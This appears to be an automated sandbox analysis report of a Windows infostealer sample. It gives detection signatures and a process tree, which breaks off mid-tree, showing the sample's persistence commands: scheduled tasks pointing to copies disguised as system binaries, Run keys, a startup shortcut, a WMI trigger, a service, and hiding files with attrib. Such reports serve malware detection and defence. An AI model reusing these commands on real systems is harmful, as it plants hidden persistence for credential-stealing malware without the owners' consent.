Analysis
- max time kernel
150s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/07/2026, 15:06
General
- Target 2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe
- Size 6.2MB
- Sample260709-sg4ftadv71
- SHA256 a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7
Score
9/10
Malware Config
Signatures
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 31 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 31 IoCs
- Detects executables using Telegram Chat Bot 31 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Using powershell.exe command.
- Creates new service(s) 2 TTPs
- Drops startup file 9 IoCs
- Executes dropped EXE 10 IoCs
- Stops running service(s) 4 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 24 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 45 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 7 IoCs
Attempt to gather information on host's network.
- Drops file in System32 directory 5 IoCs
- Enumerates processes with tasklist 1 TTPs 17 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 64 IoCs
- Drops file in Windows directory 6 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Delays execution with timeout.exe 64 IoCs
- Gathers network information 2 TTPs 3 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 4 IoCs
Runs systeminfo.exe.
- Kills process with taskkill 22 IoCs
- Modifies registry key 1 TTPs 52 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" }"2⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\"; $Shortcut.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" }"4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\PGKQKWB3\TraumatizerV3.exe"C:\Windows\Temp\PGKQKWB3\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\PGKQKWB3\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\csrss.exe"C:\Windows\Temp\csrss.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\csrss.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\csrss.exe\" }"2⤵
-
C:\Windows\Temp\csrss.exe"C:\Windows\Temp\csrss.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\csrss.exe\"; $Shortcut.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\csrss.exe\" }"4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\XhF4BkbR\TraumatizerV3.exe"C:\Windows\Temp\XhF4BkbR\TraumatizerV3.exe"2⤵
-
